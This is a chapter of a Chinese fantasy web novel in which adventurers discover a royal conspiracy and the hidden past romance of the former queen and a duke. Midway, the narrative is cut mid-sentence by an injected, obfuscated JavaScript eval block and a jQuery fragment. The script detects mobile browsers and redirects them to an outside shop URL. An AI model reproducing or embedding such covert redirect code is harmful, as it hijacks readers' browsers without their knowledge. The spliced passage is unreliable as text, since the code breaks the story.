文趣网 > 其他小说 > 区区精灵【西幻】 > 40. 旧情
    “所以,你们俩遇见了什么?”梅茜看向艾伯特,注意到这位学弟的表情在她提问的瞬间,变得异常多彩。

    梅茜:唔?

    她原本只是例行询问,现在,却多了几分兴趣。

    年轻的团长面对着众人的视线,局促不已,他的眼神闪烁,支支吾吾,最后,什么也没说出来。

    “不能说吗?”看着艾伯特如同浆果一般的神色,梅茜了然,“秘境里,确实有时候会有禁忌话语的魔法。”

    艾伯特连忙点头,刚松一口气,就又听见善魔笑眯眯的声音。

    “不过,如果不会天打雷劈的话,你说两句,让我们看看是什么样的呗,说不定有办法呢?”

    艾伯特半天不回话,梅茜转头,询问了当时在场的另一个人。

    “阿方索,你们刚才在一起的时候,艾伯特说了什么吗?”

    精灵忽然被点名,他眨了眨眼,略微思索片刻,粉色的唇瓣微启——

    被捂住了。

    阿方索:“唔。”

    “会天打雷劈。”艾伯特迅速地回答。

    少年的手还停留在精灵的脸颊上,面红耳赤地说完,就感到温热的呼吸打在手上。

    手心泛起湿润的感觉,他后知后觉地转过头,对上阿方索的视线。

    艾伯特才反应过来自己做了什么,也霎时间红透了耳根。

    他一只手就罩住了阿方索大半的脸,精灵只露出一双湖水般的眼睛,静静看着他。

    脸颊的软肉被微微捏起,阿方索看着他,面无表情地吹了口气。

    唇瓣触碰到掌心,带出的气息也泛起一层热意,艾伯特如同触电一般迅速收回手。

    “我……#@¥&*ぬ”他握着自己的手腕,结结巴巴说了一堆自己都听不懂的东西。

    最后,还是那最常用也最万能的那句话。

    “对不起!”艾伯特欲哭无泪,就差当场跪下来。

    “没事。”阿方索用手指蹭了下嘴唇,又呼了一下,“有点闷。”

    他歪过头。

    “下次,可以直接说。”

    “嗯嗯嗯。”艾伯特默默把掉在地上的剑捡起,收回剑鞘,不敢抬头。

    不是很想面对阿方索之外的人的目光,他都能猜到了。

    不过……少年偷瞄了一眼自己的手,喉结暗自滚动了一下。

    刚才碰得好近,接下来,三天不洗手好了。

    特意换了手捡剑呢。

    温德看着两人的互动,嘴角不自觉绷起。

    他想起了善魔比的那个爱心,和当时说过的话,面色变得凝固。

    没想到,沃德家族里看起来最温顺的次子,竟然会做这样的事……

    不过艾伯特之前就有拒婚的事来着,但是现在亲眼所见,冲击力还是……相当不同。

    虽然他其实对别人的爱好没有什么占有欲,但是这种表现……还是离远一点比较好。

    “那个,就是且醉草吧。”善魔的声音打断了大魔导师的思路。

    “没想到,看起来和一朵小花也没什么区别嘛。”

    不知何时,梅茜已经走到了且醉草的旁边。

    柔嫩的枝叶舒展,在风中轻轻摇曳,她手持那金色的徽章,弯腰,轻轻在那柔软的花瓣上碰了一下。

    “你做什么?”温德出声询问,皱起眉头,“别又出什么乱子……”

    但他的话骤然停住了。

    随着徽章触碰且醉草,面前场景微动。在几番扭曲后,出现了一对男女的身影,两人相携,看起来是一对情侣。

    女子将米色的长发束起,身着利落的短衣,英姿飒爽,男子则是身着长袍,看起来文质彬彬,安静的暗红色眼眸温柔地注视着对面。

    “这是,前王后?我见过她的画像。”妮娜小声惊呼,“还有这位……是,西索公爵?!”

    “他们怎么会在一起?”少女小声喃喃,“还,好像是年轻的样子……?”

    黑发青年站在那里,说不出话,那双暗红色的眸子,不似平时有些冷淡地耷拉下眼皮。

    而是完全睁开,直直盯着面前的影像。

    这位向来不可一世的天才,此刻也失态起来,脸上充盈着难以置信的神色,布满了问号和震撼。

    梅茜看了他一眼,转回头,开口。

    “其实,我是想看看花田纵火的原因,没想到,会从这里开始播。”

    “好像,不小心播到了了什么秘密呢。”

    她退后两步,回到众人身边,路过温德时,拍了拍他的肩。

    “要坚强啊。”善魔安慰道,“竟然现在看起来没法停,要不然,我给你讲解一下?”

    温德:…………

    “你还,讲解?”他声音干涩。

    “看图说话嘛,我即兴演讲的时候经常这么干。”

    面前的剧情依次展现,梅茜的声音伴随着画面开展,娓娓道来。

    “且醉草的传说,早在泊昂里斯王国建立之前,就广为流传。”

    “而在三百年前,王室想要得到且醉草,和当时的公爵联手,酿造了那场有名的火灾,并且嫁祸给了恶魔身上。”

    “于是,原本作为秘库和周围居民生存来源的昨日花田,成了势力的牺牲品,随着周围居民搬离,昨日花田成为几乎被独占的资源。”

    “但因为昨日花田需要记忆作为养分,进入的人变少,所以即使在监守期间,王室也会有意无意地放进一些人进入。”

    “当然,和之前那些顶多记忆模糊,或者见到前世之类,少了数量,就自然要求更多的‘质量’了。”

    “所以,为了维持且醉草的力量,王室故意引诱不知情的人们进入花田,夺取他们的记忆,乃至生命……”妮娜喃喃道。

    “差不多是这个意思。”梅茜点点头。

    老旧的匕首硌着胸膛,莫名生疼。温德觉得荒谬,又有一股难抑的愤怒与悲伤。

    那道声音继续说。

    “先王后和当时的西索公爵当时是恋人身份。两人都热爱冒险,相约进入昨日花田探险,寻找且醉草作为两人感情的信物。甚至,有找到且醉草就结婚的约定。”

    “然而,在探险途中,二人发生意外。虽然最后都安全出来,但是先王后失去了记忆,也忘记了这段本就隐秘的爱情,为了家族,应许了与当时太子的联姻。”

    “为了找回先皇后的记忆,公爵继续了与王室的合作。”面前的影像渐渐淡去,善魔的声音也随之变轻。

    “后来的事,我们都知道了。”

    “有水吗?”善魔转过头,拿起腰间的水壶,“我嘴都说干了。”

    “有。”阿方索走过来,接过梅茜的水壶,指尖微动,水便充盈其中。

    “唔。”梅茜喝了一口,有点惊讶,“生活方面的水元素魔法也很棒啊,阿方索,这样以后都不用麻烦带水了。”

    精灵比了个拇指,点了点头。

    一精灵一魔在这其乐融融一应一合,只有背后的大魔导师还在风中凌乱。

    艾伯特下意识看向帕里斯……不对,现在该说是温德了。

    这位现存最年轻的大魔导师,公爵的独生子,定定地站在原地,眼神空洞,表情……相当精彩。

    艾伯特都有点不忍心看下去了。

    得知自己背后的势力是害死自己师傅的真凶,心情微妙也实属正常。

    而且,怎么也没想到先王后和公爵还有这一段。

    不过是喜欢的人母亲和自己的父亲曾经相恋……好吧,对这位来说,应该确实有一点难以接受。

    “要坚强啊。”艾伯特犹豫片刻,最终开口。

    精灵回到团长的旁边,听闻此言,也跟着点了点头。

    温德看了他们一眼,没说什么。

    谢谢,真是非常用心的安慰呢。

    不如不说。

    不过话说回来,他确实……很……

    难以接受。

    思来想去,也只有这个词了。

    “父亲……怎么能这样……”

    “这样的做法,他怎么有颜面去面对母亲……”

    他心神都有些恍惚。

    多希望这一切都只是梦一场。

    如果他不是最年轻的大魔导师,又或者不是公爵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791117|207612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的长子,从小就在王室长大,他都可以欺骗自己。

    偏偏温德都是。无论从研究方面的知识,还是从王室内部图书馆里关于的且醉草的记录来说,刚才呈现在眼前的那一幕幕,都没有不真实的可能性。

    就算难以接受,也必须接受。

    温德作为长子,从小就展露出了惊人天赋。加上出众的外貌和早熟的性格,一直都备受父母关爱,双方的家族也对他投入了相当的心血。

    可喜可贺的是,他也经得起这样的投资,并给出了丰厚的回报。

    小时候尚且懵懂,一直以为父母关系冷淡,还为此偷偷伤心过。

    长大后知道父母的结合只不过是联姻的结果,就觉得两人的相敬如宾也算不错。

    温德虽然自身没有相关打算,但对父母一辈的感情,自知不应过多涉及,也不想过多评判。

    但这种触碰道德底线的行为,他无法忍受。

    还以为父母感情冷淡,是因为联姻造成的结果。没想到,背后竟然有这样的故事……

    “先王后早逝,就算找到且醉草,也没有用了啊。如今公爵府和王室合作,还守着这片花田,对于现任公爵而言,也没有意义,为什么还要合作……”妮娜犹豫着问。

    “本来两方合作也不是一天两天的事情,就算没有先王后,多半也是会继续的吧。”诺曼说道,“不过,先王后和国王的关系似乎一般?先王后早逝,不知道这位公爵现在是什么想法……”

    感受到温德的眼神,诺曼把原本要说的话咽下去,换成了另外一句。

    “当然,我相信公爵大人还是能分得清私情与公事,一定会忠心国家。”他打着哈哈,虽然话说得自己都不信。

    温德扯了下嘴角。原本他的外形是高冷俊朗那块,但结合着现在的情况,不知为什么,就连冷淡的态度,看起来也相当命苦。

    “对了,还有你和公主殿下的关系……”诺曼一拍脑壳,长长叹了口气。

    他斟酌了半天词汇,终于总结出了一句话。

    “你们上流社会的爱恨纠葛,真的是太下流了。”

    “都说过了,”温德·西索牙关紧闭,说的每一个字都像是从缝里挤出来的一样,“我和她,不是情人。”

    即使在这种情况下,还是坚定否认呢。

    “行行行,你说不是就不是。”诺曼举双手投降。

    “那学院呢?学院既然和王室合作,就没有理由不知道盟友的操作。”艾伯特眉头揪起,认真思索,“就任由王室这么做?”

    “答案很简单。虽然学院本身就具有探索花田的能力,但如果强硬拒绝,导致王室直接隔离,也是件麻烦事。”

    “多一事不如少一事。他们也许没有参与其中深度的部分,但,至少也是默许的态度。”

    温德声音低沉,像是一个遭受巨大打击的人,在轮番倒霉之后,反而变得异常平静。

    也是,如果早上出门的时候忘带钥匙,还会懊恼自己怎么这么粗心。

    但是,如果接下来发现自己忘带了钱包,原本按时的马车也晚点,导致自己错过了考勤的时间;刚想用通讯魔石给认识的人说明一下情况,结果发现魔石在不知何时丢在了路上;站在原地发呆时,又忽然想起提交的很重要的报告在结尾的注明那里好像写错了格式……

    这样的话,人生也会变得无欲无求吧。

    “如果能够独占的话,王室绝不会与其分享。”

    “学院中,一定有人对昨日花田了解甚多,甚至能准确判断出且醉草的运行模式,王室不得不依靠他。”

    “这样,他们才能在影响最小的范围内维持花田的存在,并保证且醉草不被其他人抢走。”

    “那个人,知识和手腕都不可或缺。同时,他还要具有足够的地位,足以让人信服。”

    而能够做到牵头王室与学院,并且知识如此广博、知晓如此多秘辛的人,只可能有一个。

    虽然很不可置信,但,也没有其他的选项了。

    梅茜沉吟片刻,尾巴摇了两下,缓缓抬起了头。

    “你想说,那个人……是院长大人?